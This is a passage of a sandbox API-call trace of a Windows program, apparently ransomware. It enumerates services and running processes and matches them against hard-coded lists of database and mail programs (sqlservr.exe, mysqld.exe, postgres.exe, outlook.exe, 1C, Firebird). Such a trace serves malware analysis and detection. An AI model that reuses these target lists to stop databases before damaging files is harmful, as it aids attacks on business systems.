	[0258.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0258.018] lstrlenW (lpString="BFE") returned 3
	[0258.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0258.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0258.018] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0258.018] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0258.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0258.018] lstrlenW (lpString="CryptSvc") returned 8
	[0258.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0258.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0258.019] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0258.019] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0258.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0258.019] lstrlenW (lpString="CscService") returned 10
	[0258.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0258.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0258.019] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0258.019] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0258.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0258.019] lstrlenW (lpString="DcomLaunch") returned 10
	[0258.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0258.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0258.019] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0258.019] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0258.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0258.019] lstrlenW (lpString="Dhcp") returned 4
	[0258.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0258.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0258.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0258.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0258.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0258.019] lstrlenW (lpString="Dnscache") returned 8
	[0258.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0258.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0258.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0258.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0258.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0258.019] lstrlenW (lpString="DPS") returned 3
	[0258.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0258.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0258.019] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0258.020] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0258.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0258.020] lstrlenW (lpString="eventlog") returned 8
	[0258.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0258.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0258.020] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0258.020] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0258.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0258.020] lstrlenW (lpString="EventSystem") returned 11
	[0258.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0258.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0258.020] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0258.020] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0258.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0258.020] lstrlenW (lpString="gpsvc") returned 5
	[0258.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0258.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0258.020] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0258.020] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0258.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0258.020] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0258.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0258.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0258.020] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0258.020] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0258.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0258.020] lstrlenW (lpString="lmhosts") returned 7
	[0258.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0258.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0258.021] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0258.021] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0258.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0258.021] lstrlenW (lpString="MMCSS") returned 5
	[0258.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0258.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0258.021] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0258.021] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0258.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0258.021] lstrlenW (lpString="MpsSvc") returned 6
	[0258.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0258.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0258.021] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0258.021] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0258.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0258.021] lstrlenW (lpString="NlaSvc") returned 6
	[0258.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0258.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0258.021] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0258.021] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0258.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0258.021] lstrlenW (lpString="nsi") returned 3
	[0258.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0258.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0258.021] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0258.021] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0258.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0258.021] lstrlenW (lpString="PcaSvc") returned 6
	[0258.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0258.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0258.021] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0258.022] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0258.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0258.022] lstrlenW (lpString="PlugPlay") returned 8
	[0258.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0258.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0258.022] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0258.022] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0258.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0258.022] lstrlenW (lpString="Power") returned 5
	[0258.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0258.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0258.022] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0258.022] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0258.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0258.022] lstrlenW (lpString="ProfSvc") returned 7
	[0258.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0258.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0258.022] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0258.022] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0258.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0258.022] lstrlenW (lpString="RpcEptMapper") returned 12
	[0258.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0258.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0258.022] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0258.022] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0258.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0258.022] lstrlenW (lpString="RpcSs") returned 5
	[0258.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0258.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0258.022] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0258.022] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0258.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0258.023] lstrlenW (lpString="SamSs") returned 5
	[0258.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0258.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0258.023] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0258.023] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0258.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0258.023] lstrlenW (lpString="Schedule") returned 8
	[0258.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0258.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0258.023] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0258.023] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0258.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0258.023] lstrlenW (lpString="SENS") returned 4
	[0258.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0258.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0258.023] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0258.023] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0258.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0258.023] lstrlenW (lpString="ShellHWDetection") returned 16
	[0258.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0258.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0258.023] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0258.023] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0258.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0258.023] lstrlenW (lpString="Spooler") returned 7
	[0258.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0258.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0258.023] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0258.024] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0258.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0258.024] lstrlenW (lpString="Themes") returned 6
	[0258.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0258.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0258.024] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0258.024] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0258.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0258.024] lstrlenW (lpString="UxSms") returned 5
	[0258.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0258.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0258.024] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0258.024] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0258.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0258.024] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0258.024] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x28c
	[0258.030] Process32FirstW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0258.030] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0258.031] lstrlenW (lpString="System") returned 6
	[0258.031] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0258.031] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0258.031] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0258.031] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0258.031] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0258.031] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0258.031] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0258.031] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0258.031] lstrlenW (lpString="smss.exe") returned 8
	[0258.031] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0258.031] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0258.031] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0258.031] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0258.031] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0258.031] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0258.031] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0258.031] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0258.032] lstrlenW (lpString="csrss.exe") returned 9
	[0258.033] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0258.033] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0258.033] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0258.033] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0258.033] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0258.033] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0258.033] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0258.033] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0258.033] lstrlenW (lpString="wininit.exe") returned 11
	[0258.033] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0258.033] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0258.033] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0258.033] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0258.033] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0258.033] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0258.033] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0258.033] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0258.033] lstrlenW (lpString="csrss.exe") returned 9
	[0258.034] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0258.034] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0258.034] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0258.034] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0258.034] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0258.034] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0258.034] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0258.034] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0258.034] lstrlenW (lpString="winlogon.exe") returned 12
	[0258.034] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0258.034] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0258.034] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0258.034] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0258.034] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0258.034] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0258.034] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0258.034] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0258.034] lstrlenW (lpString="services.exe") returned 12
	[0258.034] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0258.035] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0258.035] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0258.035] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0258.035] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0258.035] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0258.035] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0258.035] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0258.035] lstrlenW (lpString="lsass.exe") returned 9
	[0258.035] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0258.035] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0258.035] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0258.035] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0258.035] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0258.035] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0258.035] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0258.035] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0258.035] lstrlenW (lpString="lsm.exe") returned 7
	[0258.036] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0258.036] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0258.036] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0258.036] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0258.036] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0258.036] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0258.036] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0258.036] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.036] lstrlenW (lpString="svchost.exe") returned 11
	[0258.036] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0258.036] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0258.036] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0258.036] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0258.036] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0258.036] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0258.036] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0258.036] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.036] lstrlenW (lpString="svchost.exe") returned 11
	[0258.037] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0258.037] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0258.037] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0258.037] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0258.037] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0258.037] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0258.037] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0258.037] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.037] lstrlenW (lpString="svchost.exe") returned 11
	[0258.037] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0258.037] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0258.037] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0258.037] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0258.037] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0258.037] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0258.037] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0258.037] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.037] lstrlenW (lpString="svchost.exe") returned 11
	[0258.038] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0258.038] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0258.038] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0258.038] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0258.038] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0258.038] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
